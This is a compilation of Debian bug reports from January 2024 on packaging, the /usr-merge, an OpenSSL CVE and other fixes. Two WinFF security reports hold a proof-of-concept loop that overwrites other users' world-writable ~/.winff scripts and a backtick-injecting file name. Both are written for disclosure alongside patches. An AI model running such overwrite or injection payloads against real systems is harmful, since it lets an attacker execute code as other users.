  Please unlock disk nvme0n1p4_crypt: ***

which isn't great because anybody looking over my shoulder can see it, or
anybody who Ctrl+F1 into the console later on and then scrolls back up.

Francois

-- Package-specific info:
-- /proc/cmdline
BOOT_IMAGE=/vmlinuz-6.6.13-amd64 root=UUID=4d44aae6-2235-47f2-9de5-595ed5cd4a4c 
ro rootflags=subvol=@rootfs mem_sleep_default=deep 
module_blacklist=hid_sensor_hub memtest=1 quiet splash

-- /etc/crypttab
nvme0n1p3_crypt /dev/nvme0n1p3 /dev/urandom 
cipher=aes-xts-plain64,size=256,swap,discard
nvme0n1p4_crypt UUID=29be86f7-f2fe-412f-afd8-5740f70f5a2e none luks,discard

-- /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# systemd generates mount units based on this file, see systemd.mount(5).
# Please run 'systemctl daemon-reload' after making changes here.
#
#
/dev/mapper/nvme0n1p4_crypt /   btrfs   
noatime,nodiratime,subvol=@rootfs 0   0
# /boot was on /dev/nvme0n1p2 during installation
UUID=7543aee2-af70-44da-bae2-4f059801f08d /boot   ext4
ro,noatime,nodiratime,nodev,nosuid,noexec 0   2
# /boot/efi was on /dev/nvme0n1p1 during installation
UUID=0B84-3C60  /boot/efi   vfatro,nodev,nosuid,noexec,umask=0077  
0   1
/dev/mapper/nvme0n1p3_crypt noneswapsw  0   0

# Harden pid directories from normal users
proc/proc   prochidepid=2   
0   0

# Safe tmp directory
tmpfs   /tmptmpfs   size=8G,noexec,nosuid,nodev 
0   0

# Removable storage
/dev/sr0/media/cdromudf,iso9660 user,noauto,nodev,nosuid
0   0
/dev/sdb1   /media/usbdisk  autouser,noauto,nodev,nosuid,noexec 
0   0

-- lsmod
Module  Size  Used by
snd_seq_dummy  12288  0
snd_hrtimer12288  1
snd_seq   114688  7 snd_seq_dummy
snd_seq_device 16384  1 snd_seq
nfnetlink_queue32768  1
xt_comment 12288  0
xt_NFQUEUE 12288  1
xt_MASQUERADE  16384  2
xt_mark12288  0
nft_chain_nat  12288  2
nf_nat 65536  2 nft_chain_nat,xt_MASQUERADE
tun69632  2
ip6t_frag  16384  1
ip6t_REJECT12288  2
nf_reject_ipv6 20480  1 ip6t_REJECT
xt_LOG 16384  2
nf_log_syslog  24576  2
ipt_REJECT 12288  1
nf_reject_ipv4 16384  1 ipt_REJECT
xt_tcpudp  16384  0
xt_conntrack   12288  4
nf_conntrack  212992  3 xt_conntrack,nf_nat,xt_MASQUERADE
nf_defrag_ipv6 24576  1 nf_conntrack
nf_defrag_ipv4 12288  1 nf_conntrack
nft_compat 20480  13
nf_tables 372736  479 nft_compat,nft_chain_nat
qrtr   57344  4
chaoskey   20480  0
sg 45056  0
uvcvideo  147456  0
videobuf2_vmalloc  20480  1 uvcvideo
uvc12288  1 uvcvideo
videobuf2_memops   16384  1 videobuf2_vmalloc
videobuf2_v4l2 36864  1 uvcvideo
videodev  368640  2 videobuf2_v4l2,uvcvideo
videobuf2_common   77824  4 
videobuf2_vmalloc,videobuf2_v4l2,uvcvideo,videobuf2_memops
mc 94208  4 
videodev,videobuf2_v4l2,uvcvideo,videobuf2_common
binfmt_misc28672  1
nls_ascii  12288  1
nls_cp437  16384  1
vfat   20480  1
fat   102400  1 vfat
snd_sof_pci_intel_tgl12288  0
iwlmvm589824  0
snd_sof_intel_hda_common   217088  1 snd_sof_pci_intel_tgl
soundwire_intel73728  1 snd_sof_intel_hda_common
soundwire_generic_allocation12288  1 soundwire_intel
snd_sof_intel_hda_mlink40960  2 soundwire_intel,snd_sof_intel_hda_common
soundwire_cadence  45056  1 soundwire_intel
mac80211 1392640  1 iwlmvm
snd_sof_intel_hda  24576  1 snd_sof_intel_hda_common
snd_sof_pci24576  2 snd_sof_intel_hda_common,snd_sof_pci_intel_tgl
snd_sof_xtensa_dsp 16384  1 snd_sof_intel_hda_common
snd_sof   360448  3 
snd_sof_pci,snd_sof_intel_hda_common,snd_sof_intel_hda
ext4 1134592  1
snd_sof_utils  16384  1 snd_sof
snd_soc_hdac_hda   28672  1 snd_sof_intel_hda_common

Bug#1061591: rhsrvany: tests can fail on ci.debian.net due to wine32 installation

[Michael Gilbert]

package: src:rhsrvany
version: 1.1-2
severity: serious
tag: patch

runsrvany64 and runpnpwait64 autopkgtests can fail on amd64 on
ci.debian.net because of foreign arch wine32 installability issues
[0].  This currently prevents wine from migrating to testing [1].

The attached patch solves the problem by removing wine32 install from
the scripts.  wine32 isn't needed since the tests run correctly on
amd64 when wine and wine64 are installed, which is the case for
ci.debian.net.

Best wishes,
Mike

[0] https://ci.debian.net/packages/r/rhsrvany/testing/amd64/42392786/
[1] https://qa.debian.org/excuses.php?package=wine
--- a/debian/tests/runsrvany64
+++ b/debian/tests/runsrvany64
@@ -1,5 +1,4 @@
 #!/bin/sh
 set -e
-dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32
 wine /usr/share/virt-tools/rhsrvany.exe install
 wine /usr/share/virt-tools/rhsrvany.exe uninstall
--- a/debian/tests/runpnpwait64
+++ b/debian/tests/runpnpwait64
@@ -1,4 +1,3 @@
 #!/bin/sh
 set -e
-dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32
 wine /usr/share/virt-tools/pnp_wait.exe

Bug#1061590: sysfsutil invalid parsing of whitespace in value

[Klaus Frank]

Package: sysfsutils
Version: 2.1.1-6
Severity: important

When the value part of an entry in /etc/sysfs.conf contains a whitespace it 
gets incorreclty parsed by the init script and therefore fails.

`/etc/sysfs.conf`:
```
bus/virtio/drivers/virtio_blk/virtio1/block/vda/cache_type = write through
```

error:
```
syntax error in /etc/sysfs.conf: 
'bus/virtio/drivers/virtio_blk/virtio1/block/vda/cache_type' 'write' 'through' 
... failed!
```


# dpkg --status sysfsutils
Package: sysfsutils
Status: install ok installed
Priority: optional
Section: utils
Installed-Size: 67
Maintainer: Guillem Jover 
Architecture: amd64
Multi-Arch: foreign
Version: 2.1.1-6
Depends: libc6 (>= 2.34), libsysfs2 (>= 2.1.1), sysvinit-utils (>= 3.05-4~), 
pci.ids
Pre-Depends: init-system-helpers (>= 1.54~)
Conffiles:
 /etc/init.d/sysfsutils 597d2442fa3a55417cf3e49edeea6b6e
 /etc/sysfs.conf c11f380832980cdee233b7412ff4a04c
Description: sysfs query tool and boot-time setup
 The sysfs is a virtual file system found in Linux kernels 2.5+ that provides
 a tree of system devices. This package provides the program 'systool' to
 query it, which can be used to list devices by bus, class, and topology.
 .
 In addition this package ships a configuration file /etc/sysfs.conf which
 allows one to conveniently set sysfs attributes at system bootup (via an
 init script).
Homepage: https://github.com/linux-ras/sysfsutils

# dpkg --list sysfsutils
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name   Version  Architecture Description
+++-==---
ii  sysfsutils 2.1.1-6  amd64sysfs query tool and boot-time 
setup

# dpkg --search sysfsutils
sysfsutils: /usr/share/doc/sysfsutils/copyright
sysfsutils: /usr/lib/systemd/system/sysfsutils.service
sysfsutils: /etc/init.d/sysfsutils
sysfsutils: /usr/share/doc/sysfsutils/changelog.Debian.gz
sysfsutils: /usr/share/doc/sysfsutils

Bug#1060614: lxc: Please switch Build-Depends to systemd-dev

[Mathias Gibbens]

Control: tags -1 + pending

  I've made this change, and it will be included in the next upload of
lxc.

Mathias


signature.asc
Description: This is a digitally signed message part

Bug#1061589: mate-panel: Panel Applets fail to load on Wayland

[James Carthew]

Package: mate-panel
Version: 1.27.1-2
Severity: important
Tags: a11y
X-Debbugs-Cc: jcart...@gmail.com

Dear Maintainer,

When running mate-panel under wayland, the panel applets fail to load.

The expected behaviour when running mate-panel is for the panel to load, and
the applets to also load and display on the panel.

Instead the applets crash and the panel appears with the
Applications/Places/System Menu and some of the 3 dot spacers.

Under X11 this issue does not occur.

I have submitted a bug report upstream and they have informed me that the mate-
panel packages must be built with the applets compiled in-process. This affects
the clock, notification area, and other applets.

The link to the upstream bug report is included here: https://github.com/mate-
desktop/mate-panel/issues/1428

This issue renders the mate-panel unusable for wayland users.



-- System Information:
Debian Release: trixie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 6.5.0-5-amd64 (SMP w/12 CPU threads; PREEMPT)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_USER, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages mate-panel depends on:
ii  dconf-gsettings-backend [gsettings-backend]  0.40.0-4+b1
ii  libatk1.0-0  2.50.0-1+b1
ii  libc62.37-13
ii  libcairo21.18.0-1+b1
ii  libgdk-pixbuf-2.0-0  2.42.10+dfsg-3
ii  libglib2.0-0 2.78.3-1
ii  libgtk-3-0   3.24.40-1
ii  libgtk-layer-shell0  0.8.1-1
ii  libice6  2:1.0.10-1
ii  libmate-desktop-2-17 1.26.2-1
ii  libmate-menu21.26.1-1
ii  libmate-panel-applet-4-1 1.27.1-2
ii  libmateweather1  1.26.3-1
ii  libpango-1.0-0   1.51.0+ds-4
ii  librda0  0.0.5-1.1
ii  libsm6   2:1.2.3-1
ii  libwayland-client0   1.22.0-2.1
ii  libwnck-3-0  43.0-3
ii  libx11-6 2:1.8.7-1
ii  libxrandr2   2:1.5.2-2+b1
ii  mate-desktop 1.26.2-1
ii  mate-menus   1.26.1-1
ii  mate-panel-common1.27.1-2
ii  mate-polkit  1.26.1-4

mate-panel recommends no packages.

mate-panel suggests no packages.

-- no debconf information

Bug#1061588: qemu-guest-agent: guest agent no longer running after package security update installed

[Sven-Haegar Koch]

Package: qemu-guest-agent
Version: 1:7.2+dfsg-7+deb12u3
Severity: normal

Dear Maintainer,

Either updating the qemu-guest-agent package, or (for testing) 
reinstalling it, the guest agent is no longer running, until either 
manually restarted or the VM rebooted.

Before:

root@template:~# ps ax|grep qemu
661 ?Ssl0:01 /usr/sbin/qemu-ga

Action to reproduce:

root@template:~# apt install --reinstall qemu-guest-agent
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
0 upgraded, 0 newly installed, 1 reinstalled, 0 to remove and 1 not upgraded.
Need to get 333 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 http://deb.debian.org/debian bookworm/main amd64 qemu-guest-agent amd64 
1:7.2+dfsg-7+deb12u3 [333 kB]
Fetched 333 kB in 0s (787 kB/s)
(Reading database ... 37054 files and directories currently installed.)
Preparing to unpack 
.../qemu-guest-agent_1%3a7.2+dfsg-7+deb12u3_amd64.deb ...
Unpacking qemu-guest-agent (1:7.2+dfsg-7+deb12u3) over (1:7.2+dfsg-7+deb12u3) 
...
Setting up qemu-guest-agent (1:7.2+dfsg-7+deb12u3) ...
Processing triggers for man-db (2.11.2-2) ...

After:

root@template:~# ps ax|grep qemu
   3740 pts/1S+ 0:00 grep qemu

(qemu-ga no longer running)

Manually restarting makes it run again just fine:

root@template:~# systemctl restart qemu-guest-agent
root@template:~# ps ax|grep qemu
   3743 ?Ssl0:00 /usr/sbin/qemu-ga
   3746 pts/1S+ 0:00 grep qemu


This creates problems no longer being able to cleanly shutdown
or reboot VMs on proxmox host, especially with the guest agent
"killed" unnoticed by unattended-upgrades in the background.

Greetings,
Sven


-- System Information:
Debian Release: 12.4
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 
'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 6.1.0-17-amd64 (SMP w/2 CPU threads; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE 
not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages qemu-guest-agent depends on:
ii  init-system-helpers  1.65.2
ii  libc62.36-9+deb12u3
ii  libglib2.0-0 2.74.6-2
ii  libnuma1 2.0.16-1
ii  libudev1 252.19-1~deb12u1
ii  liburing22.3-3

qemu-guest-agent recommends no packages.

qemu-guest-agent suggests no packages.

-- no debconf information

Bug#1061587: bookworm-pu: package systemd/252.22-1~deb12u1

[Luca Boccassi]

Package: release.debian.org
Severity: normal
Tags: bookworm
User: release.debian@packages.debian.org
Usertags: pu
X-Debbugs-Cc: pkg-systemd-maintain...@lists.alioth.debian.org

Dear Release Team,

We would like to upload the latest stable point release of systemd 252
to bookworm-p-u. Stable release branches are maintained upstream with
the intention of providing bug fixes only and no compatibility
breakages, and with automated non-trivial CI jobs that also cover
Debian and Ubuntu. I have already uploaded to p-u.

Packaging changes are refreshing patches and adding a missing
dependency for one autopkgtest suite, that should now result in a fully
green DebCI run. Attached debdiff excludes hwdb.d/ changes, which are
just a large number of hardware vendor/devices IDs and constitutes the
bulk of the changes. The list of commits included can be seen at:

https://github.com/systemd/systemd-stable/compare/v252.21...v252.22

-- 
Kind regards,
Luca Boccassi
diff -Nru --exclude pnp_id_registry.html --exclude acpi_id_registry.html --exclude parse_hwdb.py --exclude acpi_id_registry.csv --exclude pnp_id_registry.csv --exclude usb.ids --exclude pci.ids --exclude ma-large.txt --exclude ma-medium.txt --exclude ma-small.txt --exclude '*hwdb.patch' --exclude '*hwdb' systemd-252.21/debian/changelog systemd-252.22/debian/changelog
--- systemd-252.21/debian/changelog	2023-12-24 14:29:22.0 +
+++ systemd-252.22/debian/changelog	2024-01-26 21:48:36.0 +
@@ -1,3 +1,12 @@
+systemd (252.22-1~deb12u1) bookworm; urgency=medium
+
+  * d/t/control: add dependency on stress for upstream suite. Needed by
+TEST-55-OOMD
+  * New upstream version 252.22
+  * Refresh patches
+
+ -- Luca Boccassi   Fri, 26 Jan 2024 21:48:36 +
+
 systemd (252.21-1~deb12u1) bookworm; urgency=medium
 
   * New upstream version 252.21
diff -Nru --exclude pnp_id_registry.html --exclude acpi_id_registry.html --exclude parse_hwdb.py --exclude acpi_id_registry.csv --exclude pnp_id_registry.csv --exclude usb.ids --exclude pci.ids --exclude ma-large.txt --exclude ma-medium.txt --exclude ma-small.txt --exclude '*hwdb.patch' --exclude '*hwdb' systemd-252.21/debian/patches/debian/fsckd-daemon-for-inter-fsckd-communication.patch systemd-252.22/debian/patches/debian/fsckd-daemon-for-inter-fsckd-communication.patch
--- systemd-252.21/debian/patches/debian/fsckd-daemon-for-inter-fsckd-communication.patch	2023-12-24 14:29:22.0 +
+++ systemd-252.22/debian/patches/debian/fsckd-daemon-for-inter-fsckd-communication.patch	2024-01-26 21:48:26.0 +
@@ -239,10 +239,10 @@
 +
 +
 diff --git a/meson.build b/meson.build
-index b9f2c7e..d2b021d 100644
+index 27d95e7..9ace3e6 100644
 --- a/meson.build
 +++ b/meson.build
-@@ -3367,6 +3367,15 @@ executable(
+@@ -3368,6 +3368,15 @@ executable(
  install : true,
  install_dir : rootlibexecdir)
  
diff -Nru --exclude pnp_id_registry.html --exclude acpi_id_registry.html --exclude parse_hwdb.py --exclude acpi_id_registry.csv --exclude pnp_id_registry.csv --exclude usb.ids --exclude pci.ids --exclude ma-large.txt --exclude ma-medium.txt --exclude ma-small.txt --exclude '*hwdb.patch' --exclude '*hwdb' systemd-252.21/debian/patches/debian/Revert-core-one-step-back-again-for-nspawn-we-actual.patch systemd-252.22/debian/patches/debian/Revert-core-one-step-back-again-for-nspawn-we-actual.patch
--- systemd-252.21/debian/patches/debian/Revert-core-one-step-back-again-for-nspawn-we-actual.patch	2023-12-24 14:29:22.0 +
+++ systemd-252.22/debian/patches/debian/Revert-core-one-step-back-again-for-nspawn-we-actual.patch	2024-01-26 21:48:26.0 +
@@ -14,7 +14,7 @@
  1 file changed, 1 insertion(+), 10 deletions(-)
 
 diff --git a/src/core/unit.c b/src/core/unit.c
-index 767e821..1f2651e 100644
+index 52df7ce..fb9a740 100644
 --- a/src/core/unit.c
 +++ b/src/core/unit.c
 @@ -4646,16 +4646,7 @@ int unit_kill_context(
diff -Nru --exclude pnp_id_registry.html --exclude acpi_id_registry.html --exclude parse_hwdb.py --exclude acpi_id_registry.csv --exclude pnp_id_registry.csv --exclude usb.ids --exclude pci.ids --exclude ma-large.txt --exclude ma-medium.txt --exclude ma-small.txt --exclude '*hwdb.patch' --exclude '*hwdb' systemd-252.21/debian/patches/p11kit-switch-to-dlopen.patch systemd-252.22/debian/patches/p11kit-switch-to-dlopen.patch
--- systemd-252.21/debian/patches/p11kit-switch-to-dlopen.patch	2023-12-24 14:29:22.0 +
+++ systemd-252.22/debian/patches/p11kit-switch-to-dlopen.patch	2024-01-26 21:48:26.0 +
@@ -13,10 +13,10 @@
  7 files changed, 202 insertions(+), 60 deletions(-)
 
 diff --git a/meson.build b/meson.build
-index b250474..b9f2c7e 100644
+index 9de2309..27d95e7 100644
 --- a/meson.build
 +++ b/meson.build
-@@ -1461,8 +1461,10 @@ if want_p11kit != 'false' and not skip_deps
+@@ -1462,8 +1462,10 @@ if want_p11kit != 'false' and not skip_deps
 version : '>= 0.23.3',
 

Bug#1060542: lxcfs: Please switch Build-Depends to systemd-dev

[Mathias Gibbens]

Control: tags -1 + pending

  I've made this change, and it will be included in the next upload of
lxcfs.

Mathias


signature.asc
Description: This is a digitally signed message part

Bug#1061586: ~/.winff/*.sh are world-writable

[Jakub Wilk]

Package: winff
Version: 1.5.5-9
Tags: security patch

As it was noted in , WinFF 
changes permissions of ~/.winff/*.sh files to 0777, which is 
world-writable!


Assuming default permissions of the home directory and the .winff 
subdir, this can be exploited by local users to execute arbitrary code 
with the context of the user running WinFF.


I've attached a proof-of-concept exploit. (It's not 100% reliable.)

I've also attached an untested patch.

--
Jakub Wilk
#!/bin/sh
while true
do
for file in /home/*/.winff/*.sh
do
echo 'cowsay pwned >&2; sleep inf' | tee "$file" > /dev/null
done
done
diff --git a/winff/unit1.pas b/winff/unit1.pas
index 71689a6..6a77b02 100644
--- a/winff/unit1.pas
+++ b/winff/unit1.pas
@@ -1354,7 +1354,7 @@ begin
 
  script.SaveToFile(presetspath+batfile);
  {$ifdef unix}
- fpchmod(presetspath + batfile,&777);
+ fpchmod(presetspath + batfile,&700);
  {$endif}
 
 scriptprocess.ShowWindow := swoNone;
@@ -2494,7 +2494,7 @@ begin // get setup
  begin
 
{$ifdef unix}
-   fpchmod(presetspath + batfile,&777);
+   fpchmod(presetspath + batfile,&700);
{$endif}
 
 // do it

Bug#1060173: ruby-hiredis FTBFS with hiredis 1.2.0-6

[Dan Bungert]

I examined this bug a bit.

In test/reader_test.rb, test_nil / test_null_multi_bulk are both failing.
If these tests are commented out, the package build will complete.  Doesn't
sound like a great idea though as it's not clear to me why these tests
regressed.

-Dan

Bug#1061585: ITP: r-cran-oaqc -- GNU R computation of the orbit-aware quad census

[Andreas Tille]

Package: wnpp
Severity: wishlist

Subject: ITP: r-cran-oaqc -- GNU R computation of the orbit-aware quad census
Package: wnpp
Owner: Andreas Tille 
Severity: wishlist

* Package name: r-cran-oaqc
  Version : 1.0
  Upstream Author : Mark Ortmann,
* URL : https://cran.r-project.org/package=oaqc
* License : GPL-3
  Programming Lang: GNU R
  Description : GNU R computation of the orbit-aware quad census
 Implements the efficient algorithm by Ortmann and Brandes (2017)
  to compute the orbit-aware frequency
 distribution of induced and non-induced quads, i.e. subgraphs of size
 four. Given an edge matrix, data frame, or a graph object
 (e.g., 'igraph'), the orbit-aware counts are computed respective each
 of the edges and nodes.

Remark: This package is maintained by Debian R Packages Maintainers at
   https://salsa.debian.org/r-pkg-team/r-cran-oaqc

Bug#1061546: srcpd: installs file into aliased location

[Preuße]

On 26.01.2024 09:35, Chris Hofstaedtler wrote:

Hi,


Please move /lib/udev/rules.d/10-liusb.rules into /usr/lib before
srcpd reaches testing.



hille42@hz:~/devel/srcpd$ dpkg-deb -c srcpd_2.1.6-2_amd64.deb|grep usb
-rw-r--r-- root/root   151 2024-01-26 21:45 
./usr/lib/udev/rules.d/10-liusb.rules


I guess this looks OK, not sure when I'll upload.

Hilmar
--
sigfault



OpenPGP_signature.asc
Description: OpenPGP digital signature

Bug#1053373: winff: shell injection

[Jakub Wilk]

Control: found -1 1.6.2+dfsg-2

The fix is insufficient. To reproduce, try converting the file created 
by this command:


touch '`cowsay pwned >&2; sleep inf`.mp3'

Single-quoted strings are better suited for shell-escaping, because the 
only character to care of is the single quote itself. That is, the whole 
escaping procedure could look like this:


1) Replace every ' character with: '\''

2) Add single quotes around the whole thing.

--
Jakub Wilk

Bug#1061583: ITP: libapache2-mod-sts -- security token exchange module for Apache 2

[Robin Gustafsson]

Package: wnpp
Severity: wishlist
Owner: Robin Gustafsson 
X-Debbugs-Cc: debian-de...@lists.debian.org

* Package name: libapache2-mod-sts
  Version : 3.4.0
  Upstream Contact: Hans Zandbelt 
* URL : https://github.com/OpenIDC/mod_sts
* License : AGPL-3+
  Programming Lang: C
  Description : security token exchange module for Apache 2

A security token exchange module for Apache HTTP Server 2.x which allows for
exchanging arbitrary security tokens by calling into a remote Security Token
Service (STS).

This Apache module allows for exchanging a security token (aka. "source
token") that is presented on an incoming HTTP request for another security
token (aka. "target token") by calling into a Security Token Service (STS) and
then include that target token on the propagated HTTP request to the content
or origin server.


I use this program and I have not found another that can replace it.

I intend to maintain it myself but am open to co-maintainers, team maintenance
and low threshold NMUs.

Bug#1059995: pdns: flaky autopkgtest (host dependent): pdns.service: Failed to set up IPC namespacing: Resource temporarily unavailable

[Paul Gevers]

Hi zeha,

On 26-01-2024 10:21, Chris Hofstaedtler wrote:

I see this "works", but now the tests fail after one try on the
problematic worker and then are never retried. Can this please be
fixed?


What do you have in mind? I think you need to wait until issue 166 [1] 
is fixed, which I guess isn't going to happen soon.


Paul

[1] https://salsa.debian.org/ci-team/debci/-/issues/166


OpenPGP_signature.asc
Description: OpenPGP digital signature

Bug#1061576: [External Email]Re: Bug#1061576: stringtie: "possible missing binaries"

[Dickey, Aaron - REE-ARS, NE]

Thanks both!
Fri, 26 Jan 2024 21:42:22 +0100 Andreas Tille:
> > To late - its just uploaded. ;-)
> I will test these hopefully tomorrow
> Aaron





This electronic message contains information generated by the USDA solely for 
the intended recipients. Any unauthorized interception of this message or the 
use or disclosure of the information it contains may violate the law and 
subject the violator to civil or criminal penalties. If you believe you have 
received this message in error, please notify the sender and delete the email 
immediately.

Bug#1061582: openssl: CVE-2024-0727

[Salvatore Bonaccorso]

Source: openssl
Version: 3.1.4-2
Severity: important
Tags: security upstream
X-Debbugs-Cc: car...@debian.org, Debian Security Team 

Hi,

The following vulnerability was published for openssl.

CVE-2024-0727[0]:
| Issue summary: Processing a maliciously formatted PKCS12 file may
| lead OpenSSL to crash leading to a potential Denial of Service
| attack  Impact summary: Applications loading files in the PKCS12
| format from untrusted sources might terminate abruptly.  A file in
| PKCS12 format can contain certificates and keys and may come from an
| untrusted source. The PKCS12 specification allows certain fields to
| be NULL, but OpenSSL does not correctly check for this case. This
| can lead to a NULL pointer dereference that results in OpenSSL
| crashing. If an application processes PKCS12 files from an untrusted
| source using the OpenSSL APIs then that application will be
| vulnerable to this issue.  OpenSSL APIs that are vulnerable to this
| are: PKCS12_parse(), PKCS12_unpack_p7data(),
| PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and
| PKCS12_newpass().  We have also fixed a similar issue in
| SMIME_write_PKCS7(). However since this function is related to
| writing data we do not consider it security significant.  The FIPS
| modules in 3.2, 3.1 and 3.0 are not affected by this issue.


If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2024-0727
https://www.cve.org/CVERecord?id=CVE-2024-0727
[1] https://www.openssl.org/news/secadv/20240125.txt

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#1057016: NMU 1.29-11.1

[Chris Hofstaedtler]

Control: tags -1 + pending

Hi,

I've uploaded the patch as an NMU versioned 1.29-11.1. It also
includes the janitor changes from salsa.

The result can be found in the "nmu" branch on salsa, too.

Chris

diff -Nru adjtimex-1.29/debian/adjtimex.init adjtimex-1.29/debian/adjtimex.init
--- adjtimex-1.29/debian/adjtimex.init  2021-04-27 17:11:49.0 +0200
+++ adjtimex-1.29/debian/adjtimex.init  2024-01-26 21:35:30.0 +0100
@@ -16,7 +16,7 @@
 
 . /lib/lsb/init-functions
 
-test -x /sbin/adjtimex  || exit 0
+test -x /usr/sbin/adjtimex  || exit 0
 
 # default values
 TICK=1
@@ -31,7 +31,7 @@
 case "$1" in
   start|restart|force-reload)
 echo -n "Regulating system clock..."
-/sbin/adjtimex -tick "$TICK" -frequency "$FREQ"
+/usr/sbin/adjtimex -tick "$TICK" -frequency "$FREQ"
 echo "done."
 ;;
   stop|status)
diff -Nru adjtimex-1.29/debian/adjtimex.install 
adjtimex-1.29/debian/adjtimex.install
--- adjtimex-1.29/debian/adjtimex.install   2021-04-27 17:11:49.0 
+0200
+++ adjtimex-1.29/debian/adjtimex.install   2024-01-26 21:35:30.0 
+0100
@@ -1,3 +1,3 @@
-adjtimex sbin
+adjtimex usr/sbin
 debian/adjtimexconfig usr/sbin
 debian/contrib/ntp-drift_to_freq.sh usr/share/doc/adjtimex/contrib
diff -Nru adjtimex-1.29/debian/adjtimex.service 
adjtimex-1.29/debian/adjtimex.service
--- adjtimex-1.29/debian/adjtimex.service   2021-04-27 17:11:49.0 
+0200
+++ adjtimex-1.29/debian/adjtimex.service   2024-01-26 21:35:30.0 
+0100
@@ -10,7 +10,7 @@
 Type=oneshot
 Environment="TICK=1" "FREQ=0"
 EnvironmentFile=-/etc/default/adjtimex
-ExecStart=/sbin/adjtimex -tick ${TICK} -frequency ${FREQ}
+ExecStart=/usr/sbin/adjtimex -tick ${TICK} -frequency ${FREQ}
 
 [Install]
 WantedBy=sysinit.target
diff -Nru adjtimex-1.29/debian/changelog adjtimex-1.29/debian/changelog
--- adjtimex-1.29/debian/changelog  2021-04-27 17:11:49.0 +0200
+++ adjtimex-1.29/debian/changelog  2024-01-26 21:35:30.0 +0100
@@ -1,3 +1,20 @@
+adjtimex (1.29-11.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+
+  [ Debian Janitor ]
+  * Remove constraints unnecessary since buster:
++ Build-Depends: Drop versioned constraint on debhelper.
+  * Bump debhelper dependency to >= 10, since that's what is used in
+debian/compat.
+
+  [ Chris Hofstaedtler ]
+  * Remove dependency on obsolete lsb-base
+  * Install files into /usr (DEP17 M2). (Closes: #1057016)
+Update paths.
+
+ -- Chris Hofstaedtler   Fri, 26 Jan 2024 21:35:30 +0100
+
 adjtimex (1.29-11) unstable; urgency=medium
 
   * debian/patches:
diff -Nru adjtimex-1.29/debian/control adjtimex-1.29/debian/control
--- adjtimex-1.29/debian/control2021-04-27 17:11:49.0 +0200
+++ adjtimex-1.29/debian/control2024-01-26 21:35:30.0 +0100
@@ -3,7 +3,7 @@
 Priority: optional
 Maintainer: Roger Shimizu 
 Build-Depends:
- debhelper (>= 10),
+ debhelper (>= 10~),
  po-debconf
 Standards-Version: 3.9.8
 Rules-Requires-Root: no
@@ -14,7 +14,6 @@
 Package: adjtimex
 Architecture: linux-any
 Depends:
- lsb-base (>= 3.0-6),
  ${misc:Depends},
  ${shlibs:Depends}
 Suggests: ntpdate
diff -Nru adjtimex-1.29/debian/patches/12-makefile.in-bindir.patch 
adjtimex-1.29/debian/patches/12-makefile.in-bindir.patch
--- adjtimex-1.29/debian/patches/12-makefile.in-bindir.patch1970-01-01 
01:00:00.0 +0100
+++ adjtimex-1.29/debian/patches/12-makefile.in-bindir.patch2024-01-26 
21:35:30.0 +0100
@@ -0,0 +1,13 @@
+Index: adjtimex-1.29/Makefile.in
+===
+--- adjtimex-1.29.orig/Makefile.in
 adjtimex-1.29/Makefile.in
+@@ -9,7 +9,7 @@ CFLAGS += @CFLAGS@ -Wall
+ prefix = @prefix@
+ man1dir=@mandir@/man1
+ exec_prefix = @exec_prefix@
+-bindir=/sbin
++bindir= @exec_prefix@/sbin
+ datadir = @datadir@
+ datarootdir = @datarootdir@
+ 
diff -Nru adjtimex-1.29/debian/patches/series 
adjtimex-1.29/debian/patches/series
--- adjtimex-1.29/debian/patches/series 2021-04-27 17:11:49.0 +0200
+++ adjtimex-1.29/debian/patches/series 2024-01-26 21:35:30.0 +0100
@@ -9,3 +9,4 @@
 09-adjtimex.8-Some-fixes-to-the-manual.patch
 10-STA_NANO-confuses-adjtimex-8.patch
 11-Fix-ntpdate-command.patch
+12-makefile.in-bindir.patch

Bug#1061576: stringtie: "possible missing binaries"

[Andreas Tille]

Hi Nilesh,

Am Sat, Jan 27, 2024 at 02:02:25AM +0530 schrieb Nilesh Patra:
> > Package: stringtie
> >
> > I wish to access prepDE.py and/or prepDE.py3 binaries
> 
> Are these actually useful for end-users (which also includes you)?

I assume so - at least prepDE.py3 which I renamed to prepDE.py since
Python3 is the only supported Python version in Debian.
 
> If so, I will make a new upload to include these scripts as well.

To late - its just uploaded. ;-)

Kind regards
 Andreas.

-- 
http://fam-tille.de

Bug#1061581: fscrypt: install PAM module into /usr

[Michael Biebl]

Source: fscrypt
Version: 0.3.4-1
Severity: normal
Tags: patch
User: helm...@debian.org
Usertags: dep17m2

We want to finalize the /usr-merge via DEP17 by moving all files to
/usr. fscrypt installs files into /lib these should be moved
into the respective canonical locations in /usr/.

Please find a patch attached. It has been build-tested.

Note: this should not be backported to bookworm. If you intend to
backport, please use dh_movetousr instead.

If your package will change for the t64 transition or otherwise
